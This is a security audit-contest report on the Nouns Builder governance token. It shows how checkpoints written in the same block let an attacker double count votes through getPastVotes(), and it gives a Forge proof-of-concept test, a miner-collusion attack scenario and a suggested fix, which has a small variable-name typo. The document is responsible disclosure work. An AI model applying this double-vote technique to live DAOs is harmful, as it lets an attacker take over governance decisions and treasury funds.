Nouns Builder contest - elprofesor's results

Lines of code

https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L101

Vulnerability details

Impact

Governance protocol does not implement function getPastVotes() correctly, resulting in timestamps that contain more votes than tokens. This effectively allows a malicious adversary to double vote, which directly impacts variables within the broader protocol that are controlled by governance.

The ERC721Votes contract makes the following assumptions:

1. The midpoint will find the latest checkpoint all the time
2. This checkpoint prevents users transferring tokens without their voting power changing.

Both of these assumptions are broken when the following conditions are satisfied:

1. A user places two transactions mined in the same block (therefore both have the same timestamp)
2. The transaction transaction_timestamp == proposal.timeCreated , where transaction_timestamp is the same for both transactions

Assumption 2 can be seen in the following code block:

                if (cp.timestamp == _timestamp) { // here the checkpoint will ignore later, more accurate snapshots if the midpoint timestamp directly matches the expected value
                    // Return the voting weight
                    return cp.votes;

Proof of Concept

A possible attack under these conditions would look like this:

Prelim: Malicious adversary is a miner or colludes with a miner to monitor for proposal creations, and submit the following two transactions in the same block as the proposal:

1. Transaction 1 increases the balance of Mal's Account (Mal-1) and therefore increases there voting power
2. Transaction 2 Mal transfers the balance to his second account Mal-2 The malicious actor has leveraged condition 1. In a situation where transaction_timestamp != proposal.timeCreated (condition 2 fails) the results of the checkpoint update would show that Mal-1 now has 0 voting power, whereas Mal-2 has 100% of the voting power held by Mal. This is the guarantee set by the use of the midpoint approximation formula used to find the latest checkpoint.

However, in the event that condition (2) is true and the transaction_timestamp == proposal.timeCreated, the conditionala check on LINE 101 will instantly return the cp without checking for another more recent state change. This could lead to a double vote depending on number of checkpoints stored for Mal, but it can strategically crafted to cause damage....

So say there are 7 updates to the checkpoint for mal: 0,1,2,3,4,5,6 assume that transactions that updated checkpoint ID 3 and 4 were mined in the same block. Therefore, the midpoint is 3.

If transactions 3,4 were put in the same block as the proposal creation transaction then line 101 is true and the value of the checkpoint 3 is returned. This checkpoint may have contained an increase in voting power whilst transaction 4 transferred this vote to another account. If the other account holds onto that voting power they too will have registered a checkpoint update in the same timestamp therefore Mal will be able to vote twice with the same amount.

Forge Test File

The test below should pass if there are no double votes due to the above vulnerability. However as can be seen from the logs, 3 tokens were purchased as of timestamp4, however, the total votes held by voter 1 is 2, followed by voter2 is 1, and duplicateVoter is 1. This means that an extra vote was created for that timestamp which did not exist. Please note this is a simple poc, more complex interactions may result in more significant voting edge (ie in the example to balance the checkpoints array the voter was required to buy an additional token, however this may be avoided with certain patterns of transferring between accounts). It could also be possible that user may be able to accrue more than 2 votes with the same token depending on the checkpoints mapping for the duplicateVoter.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.15;

import { NounsBuilderTest } from "./utils/NounsBuilderTest.sol";

import { IManager } from "../src/manager/IManager.sol";
import { IGovernor } from "../src/governance/governor/IGovernor.sol";
import { GovernorTypesV1 } from "../src/governance/governor/types/GovernorTypesV1.sol";

contract DoubleVoteAttack  is NounsBuilderTest, GovernorTypesV1 {
    struct Checkpoint {
        uint256 timestamp;
        uint256 votes;
    }
    
    uint256 internal constant AGAINST = 0;
    uint256 internal constant FOR = 1;
    uint256 internal constant ABSTAIN = 2;

    address internal voter1;
    uint256 internal voter1PK;


    address internal voter2;
    uint256 internal voter2PK;

    address internal duplicateVoter;
    uint256 internal duplicateVoterPK;

    IManager.GovParams internal altGovParams;

    function setUp() public virtual override {
        super.setUp();

        deployMock();

        createVoters();
    }

    function deployMock() internal override {
        address[] memory wallets = new address[](2);
        uint256[] memory percents = new uint256[](2);
        uint256[] memory vestingEnd = new uint256[](2);

        wallets[0] = founder;
        wallets[1] = founder2;

        percents[0] = 1;
        percents[1] = 1;

        vestingEnd[0] = 4 weeks;
        vestingEnd[1] = 4 weeks;

        setFounderParams(wallets, percents, vestingEnd);

        setMockTokenParams();

        setAuctionParams(0, 1 days);

        setGovParams(2 days, 1 days, 1 weeks, 25, 1000);

        deploy(foundersArr, tokenParams, auctionParams, govParams);
    }

    function createVoters() internal {
        voter1PK = 0xABC;
        voter1 = vm.addr(voter1PK);
        
        voter2PK = 0xABD;
        voter2 = vm.addr(voter2PK);
        vm.deal(voter1, 100 ether);

        duplicateVoterPK = 0xABE;
        duplicateVoter = vm.addr(duplicateVoterPK);
        vm.deal(duplicateVoter, 100 ether);
    }

    function mintVoter1() internal {
        vm.prank(founder);
        auction.unpause();

        vm.prank(voter1);
        auction.createBid{ value: 0.420 ether }(2);

        vm.warp(auctionParams.duration + 1 seconds);
        auction.settleCurrentAndCreateNewAuction();
    }

    function test_mintAndDoubleVote() public {
        vm.prank(founder);
        auction.unpause();


        emit log("INITIAL BLOCK");
        emit log_uint(block.timestamp);
        uint256 _initTimestamp = block.timestamp;
        emit log_uint(_initTimestamp);

        vm.prank(voter1);
        auction.createBid{ value: 0.420 ether }(2);

        vm.warp(auctionParams.duration + 1 seconds);
        
        emit log("NEW BLOCK (+1 TOTAL Votes)");
        auction.settleCurrentAndCreateNewAuction();
        uint256 _timestamp1 = block.timestamp;
        emit log_uint(_timestamp1);

        vm.prank(voter1);
        auction.createBid{ value: 0.420 ether }(3);

        vm.warp(block.timestamp + auctionParams.duration + 1 seconds);
        emit log("NEW BLOCK (+2 TOTAL Votes)");
        auction.settleCurrentAndCreateNewAuction();
        uint256 _timestamp2 = block.timestamp;
        emit log_uint(_timestamp2);

        vm.prank(voter1);
        auction.createBid{ value: 0.420 ether }(4);

        emit log("NEW BLOCK");
        vm.warp(block.timestamp + auctionParams.duration + 1 seconds);
        emit log("NEW BLOCK (+3 TOTAL Votes)");
        auction.settleCurrentAndCreateNewAuction();
        uint256 _timestamp3 = block.timestamp;
        emit log_uint(_timestamp3);


        uint256 voter1Balance = token.balanceOf(voter1);
        uint256 voter2Balance = token.balanceOf(voter2);
        uint256 duplicateVoterBalance = token.balanceOf(duplicateVoter);

        assertEq(voter1Balance, 3);
        assertEq(voter2Balance, 0);
        assertEq(duplicateVoterBalance, 0);

        emit log("BEGIN Double Vote Attack");
        emit log("Voter 1 Balance: ");
        emit log_uint(voter1Balance);
        emit log("Voter 2 Balance: ");
        emit log_uint(voter2Balance);
        emit log("Voter Duplicate Balance: ");
        emit log_uint(duplicateVoterBalance);

        vm.prank(voter1);
        emit log("NEW BLOCK");
        vm.warp(block.timestamp+1);
        uint256 _timestamp4 = block.timestamp;
        emit log_uint(_timestamp4);
        token.transferFrom(voter1, duplicateVoter, 2);
        
        voter1Balance = token.balanceOf(voter1);
        voter2Balance = token.balanceOf(voter2);
        duplicateVoterBalance = token.balanceOf(duplicateVoter);
        

        assertEq(voter1Balance, 2);
        assertEq(voter2Balance, 0);
        assertEq(duplicateVoterBalance, 1);


        // emit log("NEW BLOCK");
        // vm.warp(block.timestamp+1);
        // uint256 _timestamp4 = block.timestamp;
        emit log_uint(_timestamp4);
        // Leave the second transfer in the same block
        vm.prank(voter1);
        token.transferFrom(voter1, voter2, 3);

        emit log("NEW BLOCK");
        vm.warp(block.timestamp+1);
        uint256 _timestamp5 = block.timestamp;
        emit log_uint(_timestamp5);
        
        vm.prank(voter1);
        token.transferFrom(voter1, voter2, 4);

        // Balances our checkpoints to an odd number
        auction.createBid{ value: 0.420 ether }(5);
        vm.warp(block.timestamp + auctionParams.duration + 1 seconds);
        
        emit log("NEW BLOCK (+1 TOTAL Votes)");
        auction.settleCurrentAndCreateNewAuction();
        uint256 _timestamp6 = block.timestamp; //checkpoint 7
        emit log_uint(_timestamp1);

        emit log("Voter 1 Num checkpoints: ");
        uint256 numCheckpoints = token.numCheckpoints(address(voter1));
        emit log_uint(numCheckpoints);

        uint256 pastVotes1 = token.getPastVotes(voter1, _timestamp1);
        uint256 pastVotes2 = token.getPastVotes(voter2, _timestamp1);
        uint256 duplicateVotes = token.getPastVotes(duplicateVoter, _timestamp1);
        assertEq(pastVotes2, 0);
        assertEq(duplicateVotes, 0);
        assertEq(pastVotes1, 1);

        pastVotes1 = token.getPastVotes(voter1, _timestamp2);
        pastVotes2 = token.getPastVotes(voter2, _timestamp2);
        duplicateVotes = token.getPastVotes(duplicateVoter, _timestamp2);
        assertEq(pastVotes2, 0);
        assertEq(duplicateVotes, 0);
        assertEq(pastVotes1, 2);

        pastVotes1 = token.getPastVotes(voter1, _timestamp3);
        pastVotes2 = token.getPastVotes(voter2, _timestamp3);
        duplicateVotes = token.getPastVotes(duplicateVoter, _timestamp3);
        assertEq(pastVotes1, 3);
        assertEq(pastVotes2, 0);
        assertEq(duplicateVotes, 0);
        
        pastVotes1 = token.getPastVotes(voter1, _timestamp4);
        pastVotes2 = token.getPastVotes(voter2, _timestamp4);
        duplicateVotes = token.getPastVotes(duplicateVoter, _timestamp4);
        assertEq(pastVotes1, 1);
        assertEq(pastVotes2, 1);
        assertEq(duplicateVotes, 1);
    }


    function testFail_GovernorCannotReceive721SafeTransfer() public {
        mock721.mint(address(this), 1);

        mock721.safeTransferFrom(address(this), address(governor), 1);
    }

    function testFail_GovernorCannotReceive1155SingleTransfer(uint256 _tokenId, uint256 _amount) public {
        mock1155.mint(address(governor), _tokenId, _amount);
    }

    function testFail_GovernorCannotReceive1155BatchTransfer(uint256[] memory _tokenIds, uint256[] memory _amounts) public {
        mock1155.mintBatch(address(governor), _tokenIds, _amounts);
    }
}

Tools Used

Manual Review

Recommended Mitigation Steps

The changes in nouns builder from nounsDAO moved from block.number to block.timestamp, this has particular advantages from a security perspective. However, the team did not leverage protections against two checkpoint updates within the same block. The relevant improvement can be seen in the nounDao code here.

Advice for noun-builder, would be to add a similar check. An example has been provided below as follows:

     function _writeCheckpoint(
        address _account,
        uint256 _id,
        uint256 _prevTotalVotes,
        uint256 _newTotalVotes
    ) private {
        // Get the account's number of checkpoints
        uint256 nCheckpoints = numCheckpoints[_account];

        if (nCheckpoints > 0 && checkpoints[account][nCheckpoints - 1].timestamp == block.timestamp) {
            checkpoints[_account][nCheckpoints - 1].votes = _newTotalVotes;
        } else {
            // Get the pointer to store the checkpoint
            Checkpoint storage checkpoint = checkpoints[_account][_id];
            // Record the updated voting weight and current time
            checkpoint.votes = uint192(_newTotalVotes);
            checkpoint.timestamp = uint64(block.timestamp);
        }



        emit DelegateVotesChanged(_account, _prevTotalVotes, _newTotalVotes);
    }